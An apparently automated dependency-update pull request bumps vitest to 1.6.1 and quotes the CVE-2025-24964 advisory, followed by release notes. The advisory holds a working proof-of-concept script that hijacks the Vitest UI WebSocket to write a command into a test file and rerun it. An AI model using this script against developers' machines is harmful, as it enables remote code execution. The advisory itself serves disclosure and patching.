Update dependency vitest to ~1.6.1 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	~1.2.2 -> ~1.6.1

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

• Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964

   🐞 Bug Fixes

• backport https://github.com/vitest-dev/vitest/issues/7317 to v1 - by @​hi-ogawa in https://github.com/vitest-dev/vitest/pull/7319

    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features

• Support standalone mode  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5565 (bdce0)
• Custom "snapshotEnvironment" option  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5449 (30f72)
• benchmark: Support comparing benchmark result  -  by @​hi-ogawa and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5398 (f8d3d)
• browser: Allow injecting scripts  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5656 (21e58)
• reporter: Support includeConsoleOutput and addFileAttribute in junit  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5659 (2f913)
• ui: Sort items by file name  -  by @​btea in https://github.com/vitest-dev/vitest/issues/5652 (1f726)

   🐞 Bug Fixes

• Keep order of arguments for .each in custom task collectors  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5640 (7d57c)
• Call resolveId('vitest') after buildStart  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5646 (f5faf)
• Hash the name of the file when caching  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5654 (c9e68)
• Don't panic on empty files in node_modules  -  by @​sheremet-va (40c29)
• Use toJSON for error serialization  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5526 (19a21)
• coverage:
  • Exclude *.test-d.* by default  -  by @​MindfulPol in https://github.com/vitest-dev/vitest/issues/5634 (bfe8a)
  • Apply vite-node's wrapper only to executed files  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5642 (c9883)
• vm:
  • Support network imports  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5610 (103a6)

   🏎 Performance

• Improve performance of forks pool  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5592 (d8304)
• Unnecessary rpc call when coverage is disabled  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5658 (c5712)

    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes

• Use package.json name for a workspace project if not provided  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5608 (48fba)
• Backport jest iterable equality within object  -  by @​sukovanej in https://github.com/vitest-dev/vitest/issues/5621 (30e5d)
• browser: Support benchmark  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5622 (becab)
• reporter: Use default error formatter for JUnit  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5629 (20060)

    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes

• Check for null before storing in weakmap  -  by @​sheremet-va (ce368)

    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features

• api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5493 (780b1)
  • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.

   🐞 Bug Fixes

• Close vite servers on all resolved projects  -  by @​surc54 in https://github.com/vitest-dev/vitest/issues/5544 (413ec)
• Fix default import.meta.env.PROD: false  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5561 (9c649)
• Resolve cwd correctly when initiating projects  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5582 (ec9d7)
• Always run onTestFinished in reverse order  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5598 (23f29)
• browser:
  • Disable fileParallelism by default on browser pool  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5528 (5c69f)
  • Dispose tester iframe on done  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5595 (b2135)
• coverage:
  • Fix bundling of v8-to-istanbul  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5549 (df6a4)
  • Prevent crash when cleanOnRerun is disabled  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5540 (ea3c1)
  • thresholds to compare files relative to root  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5574 (80265)
• expect:
  • Fix toEqual and toMatchObject with circular references  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5535 (9e641)
• vitest:
  • Fix false positive file filter match with leading slash  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5578 (316eb)
  • Watch the output directory correctly  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5584 (e40f9)
  • StubEnv casts boolean on PROD/SSR/DEV  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5590 (4da88)

    View changes on GitHub

v1.5.0

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   🚀 Features

• Add configuration for diff truncation  -  by @​willieho in https://github.com/vitest-dev/vitest/issues/5073 and https://github.com/vitest-dev/vitest/issues/5333 (6797b)
• Remove unrelated noise from diff for toMatchObject()  -  by @​geersch in https://github.com/vitest-dev/vitest/issues/5364 (99276)
• Allow custom host for --inspect and --inspect-brk  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5509 (61572)
• coverage: V8 to ignore empty lines, comments, types  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5457 (10b89)

   🐞 Bug Fixes

• describe calls not taking generic type parameters  -  by @​aryaemami59 in https://github.com/vitest-dev/vitest/issues/5415 (16bac)
• Prevent hang when process is mocked  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5430 (0ec4d)
• Don't check for "node:internal/console/" in console interceptor in case the environment is not Node.js  -  by @​sheremet-va (87d36)
• The value received by toMatch should be a string  -  by @​btea in https://github.com/vitest-dev/vitest/issues/5428 (67485)
• Increase stack trace limit for location, don't hardcode suite position  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5518 (04b23)
• benchmark:
  • Run benchmark suites sequentially  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5444 (1f548)
  • Fix benchmark summary of single bench suite  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5489 (db981)
  • Table reporter for non TTY output  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5484 (bea23)
• expect:
  • Fix toHaveBeenNthCalledWith error message when not called  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5420 (e5253)
• types:
  • Pass correct type for suite factory  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5437 (26718)
• utils:
  • Fix object diff with getter only property  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5466 (366d9)
• vite-node:
  • Fix isValidNodeImport to check "type": "module" first  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5416 (6fb15)
• vitest:
  • Correctly send console events when state changes  -  by @​sheremet-va (3463f)
  • Initiate FakeTimers on demand  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5450 (e4e93)
  • Check unhighlighted code for code frame line limit  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5465 (6ae7e)
  • Correctly filter by parent folder  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5408 (91b06)
  • Close inspector immediately if run is canceled  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5519 (b8006)
• workspace:
  • Set CWD to config directory, allow overriding local .env  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5476 (d4003)

    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features

• Throw error when using snapshot assertion with not  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5294 (b9d37)
• Add a flag to include test location in tasks  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5342 (d627e)
• cli:
  • Support wildcards in --project option  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5295 (201bd)
• config:
  • Add shuffle.files and shuffle.tests options  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5281 (356db)
  • Deprecate cache.dir option  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5229 (d7e8b)
• coverage:
  • Support --changed option  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5314 (600b4)
• vitest:
  • Support clearScreen cli flag  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5241 (e1735)

   🐞 Bug Fixes

• Repeatable --project option  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5265 (d1a06)
• --inspect-brk to pause before execution  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5355 (e77c5)
• Correct locations in test.each tasks  -  by @​sheremet-va (4f6e3)
• api:
  • Use resolvedUrls from devserver  -  by @​saitonakamura and @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5289 (2fef5)
• browser:
  • Add magic-string to optimizeDeps.include  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5278 (8f04e)
• coverage:
  • Expensive regexp hangs v8 report generation  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5259 (d68a7)
  • V8 to ignore type-only files  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5328 (c3eb8)
  • Respect source maps of pre-transpiled sources  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5367 (6eda4)
  • Prevent reportsDirectory from removing user's project  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5376 (07ec3)
• expect:
  • Show diff on toContain/toMatch assertion error  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5267 (8ee59)
• forks:
  • Wrap defines to support undefined values  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5284 (5b58b)
• typecheck:
  • Update get-tsconfig 4.7.3 to fix false circularity error  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5384 (bdc37)
• ui:
  • Escape html in error diff  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5325 (ab60b)
• vitest:
  • Loosen onConsoleLog return type  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5337 (6d1b1)
  • Ensure restoring terminal cursor on close  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5292 (0bea2)
  • Ignore timeout on websocket reporter rpc  -  by @​sheremet-va (38119)
  • Correctly override api with --no-api flag  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5386 (51d1d)
  • Logs in beforeAll and afterAll  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5288 (ce5ca)
• workspace:
  • Throw error when browser mode and @vitest/coverage-v8 are used  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5250 (29f98)

    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features

• vitest: Expose parseCLI method  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5248 (c793a)
  • This feature is not affected by SemVer because it is part of an experimental API.

   🐞 Bug Fixes

• Add task tests iteratively  -  by @​DerYeger in https://github.com/vitest-dev/vitest/issues/5235 (38155)
• coverage: Ignore generated TS decorators  -  by @​AriPerkkio and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5206 (a2804)
• ui: Auto reload coverage iframe after test run  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5242 (5376d)

    View changes on GitHub

v1.3.0

Compare Source

🚀 Features

• Deprecate watchExclude - by @​patak-dev in https://github.com/vitest-dev/vitest/issues/5171 (82885)
• browser:
  • Run test files in isolated iframes - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5036 (4f401)
• config:
  • Add snapshotSerializers option - by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5092 (5b102)
• reporters:
  • Support custom options - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5111 (fec9c)
• runner:
  • Support automatic fixtures - by @​fenghan34 and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5102 (0441f)
• ui:
  • Save splitpanes size to local storage - by @​posva in https://github.com/vitest-dev/vitest/issues/5166 (c28b4)
• vitest:
  • Add onTestFinished hook - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5128 (6f5b4)
  • Add github actions reporter - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5093 (40afb)
  • Expose jsdom global if jsdom environment is enabled - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5155 (567d2)
  • Add new CLI options - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5163 (4e179)
  • "test" accepts options object as the second parameter - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5142 (7d9b1)
• vm:
  • Support wasm module - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5131 (5ed53)

🐞 Bug Fixes

• Fix sourcemap in vm pools - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5063 (81105)
• Don't optimize react/jsx-runtime by default when running in Node - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5079 (0d2bf)
• Rpc timeout error messages to include caller - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5103 (a6e04)
• Requires fixed version across the monorepo - by @​antfu in https://github.com/vitest-dev/vitest/issues/5208 (68f51)
• Prevent merging of poolOptions - by @​penalosa in https://github.com/vitest-dev/vitest/issues/5221 (bc5b2)
• browser:
  • Don't exclude node builtins from optimization - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5082 (714c9)
  • Support coverage.reportsDirectory with multiple directories - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5056 (ae73f)
• cli:
  • Parse --browser=<name> correctly - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5179 (656e2)
• coverage:
  • .tmp directory conflicts with --shard option - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5184 (5749d)
• deps:
  • Update dependency strip-literal to v2 - by @​renovate[bot] inhttps://github.com/vitest-dev/vitest/issues/51366 (ef557)
• reporters:
  • Testsuite name should include project root in Junit output - by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5116 (2494f)
• typecheck:
  • Fix suite collection while-loop - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5065 (35675)
• ui:
  • Fix tests duration time - by @​vovsemenv in https://github.com/vitest-dev/vitest/issues/5219 (58103)
• utils:
  • Fix asymmetric matcher diff inside array - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5189 (3ffcd)
• vitest:
  • Correctly report failed test files as failures in json reporter, export json reporter types - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5081 (0417b)
  • Don't run typecheck tests in browser if both are enabled - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5080 (1045b)
  • Handle function config inside defineWorkspace - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5089 (0bf52)
  • Remove excessive listeners when running without isolation, don't reset the state - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5132 (b607f)
  • Auto-enable "github-actions" only where users didn't configure reporters - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5158 (ef044)
  • Support more array cli options - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5162 (3afe6)
  • Add types for the new global jsdom variable - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5164 (0f898)
  • Expose onTestFinished globally - by @​sheremet-va (1304f)
  • Disable optimizer by default until it's stable - by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5156 (e1bd8)
  • Delegate snapshot options to workspace from root config - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5199 (86297)
  • Fix optimizeDeps.disabled warnings on Vite 5.1 - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5215 (1aecd)
• vm:
  • Handle disableConsoleIntercept config - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5074 (a55ad)
  • Improve error when module is not found - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5053 (79a50)

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